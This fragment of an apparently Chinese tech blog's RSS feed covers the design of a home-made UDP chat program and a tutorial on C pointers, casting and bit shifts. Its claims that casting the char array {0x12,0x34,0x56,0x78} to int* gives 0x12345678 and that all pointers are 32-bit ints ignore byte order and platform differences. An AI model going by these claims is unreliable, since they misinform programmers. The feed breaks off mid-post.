auto; -webkit-text-stroke-width: 0px">记录每个客户端的连接信息；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">新用户上线时服务端通知其他所有客户端有新用户上线，并且把其他所有用户的信息送到新上线的这个客户端；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">转发客户端之间的消息；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">定时更新每个用户的上下线状态；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">&nbsp;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">客户端：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">以UDP报文的方式告诉给服务器端它选择的聊天对象以及消息内容；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">由于是UDP方式，需要定时刷新与服务端的连接；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">保存聊天记录。</p>]]></description><category>技术笔记</category><comments>http://blog.careff.com/post/392.html#comment</comments><wfw:commentRss>http://blog.careff.com/feed.asp?cmt=392</wfw:commentRss></item><item><title>C语言中的数据类型、指针、unsigned与signed、位操作有关知识（自编QQ铺垫篇之二）</title><author>a@b.com (admin)</author><link>http://blog.careff.com/post/391.html</link><pubDate>Wed, 14 May 2014 10:28:28 +0800</pubDate><guid>http://blog.careff.com/post/391.html</guid><description><![CDATA[<p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">C语言是一门语法非常严格的计算机编程语言。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">C语言中为什么在声明变量时需要确定这个变量的类型？</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">因为C语言中变量的操作是和内存紧密相关的，变量的类型确定了它在内存中的结构，比如int型变量是内存中的连续4个字节（通常是这样），char型变量时内存中的一个字节，而一个结构体占用的内存长度则在它定义好的时候就确定了。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">（说起来好像是废话。）</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">为什么所有变量的指针都相当于一个32位整数（int），在定义一个指针变量时却要声明它指向的变量的类型？</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">因为程序只有知道它指向的变量的类型才知道怎么对这个变量进行操作。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">比如你定义一个结构体</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">struct rectangle</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">{</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">int x1,y1,x2,y2;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">};</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">定义一个rectangle变量：rectangle MyRect;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">然后定义一个指针</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">rectangle *pt_rect=&amp;MyRect;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">然后你写int left=pt_rect-&gt;x1的时候，程序知道去pt_rect指针指向的变量中读取x1对应的那段内存；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">试试定义一个int *test;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">如果你强行写下test-&gt;x1;编译器会报错，因为int类型中没有对应的x1元素。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">来玩玩数组的降维：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">定义一个整型数组：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">int x[3][4];</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">然后把int x[3][4]变成长度为12的一维数组y;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">可能最容易想到的是先定义一个int y[12]用两层循环来把x数组中的数挨个赋值到y数组中，这完全不是什么好办法。了解数组的会知道，数组在内存中是连续的，x和y数组都有12个数，都是整形，这样它们在内存中的存放形式完全没有区别。然后还得了解x和y作为数组名，其实都是指针，只不过系统为它们保存了不同的信息：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">（为了不浪费内存，所以只定义一个整形指针int *y;而不定义为int y[12]了；）</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">x指向一个3x4规模的二维数组，都是整形元素，且x是指针常量，无法被重新赋值；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">y可以指向一个任意的整数；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">然后把y指向x数组的头部：y=x;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">但是编译器会报错或者警告，说类型不匹配，怎么办呢？</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">这样：y=(int *)x;对x的类型做了强制转换，程序认为赋给y的就是一个一维数组的指针。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">然后就可以这样使用这个&ldquo;一维数组&rdquo;了：y[i]；不过现在系统不知道y的长度了，请自己注意0&lt;=i&lt;12；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">再举一个例子：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">char x[4]={0x12,0x34,0x56,0x78};</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">怎么把x数组转换为整形0x12345678？</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">由之前讲的可以知道x数组在内存中连续摆放，占用了一个整形的长度，也就是与整形变量0x12345678在内存中的摆放形式一样；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">也就是说我们只要让程序认为x那儿就是一个整形变量就可以了；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">定义一个int *n;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">令n=(int *)x;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">然后*n就是x数组对应的整型值0x12345678了。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">解释一下：x是指向char的指针，(int *)x是对x做了一个强制转换，让系统认为这个指针指向的是整型变量，然后赋给整形指针变量n；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">然后*n是对指针取指向内存的值，程序按照int的约定规则取值，取出来的就是0x12345678这个数了。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">注意星号的作用：在定义变量的时候表示该变量为指针，而在其他时候表示对某个指针取该指针指向变量的值。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">其实定义数据类型只是为了告诉程序或者操作系统要以怎么样的规则来操作一块内存，对指针熟悉之后，你可以几乎不用定义任何数据类型，完全用空指针和位操作来实现你想实现的操作。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;分割&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">下面讲述位操作里面的移位操作；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">&ldquo;&lt;&lt;&rdquo;符号表示对变量中的二进制位依次向左移，x&lt;&lt;n表示对x变量中的二进制位左移n位。然后超出的部分被截断，低位补0；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">&ldquo;&gt;&gt;&rdquo;符号表示右移，超出的截断，高位补上；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">假设int x=1;那么x&lt;&lt;8==256，这是高位没有溢出的情况，溢出的话换算为2进制来模拟移动也可以计算出结果；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">假设int x=11111111 11111111 11111111 11111111;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">x&gt;&gt;1的结果是多少？</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">是01111111 11111111 11111111 11111111吗？</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">x&gt;&gt;n的结果是前面有n个0吗？</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">不，结果都是11111111 11111111 11111111 11111111；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">你会发现不管n等于多少，x都没有变化，还是32个1。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); 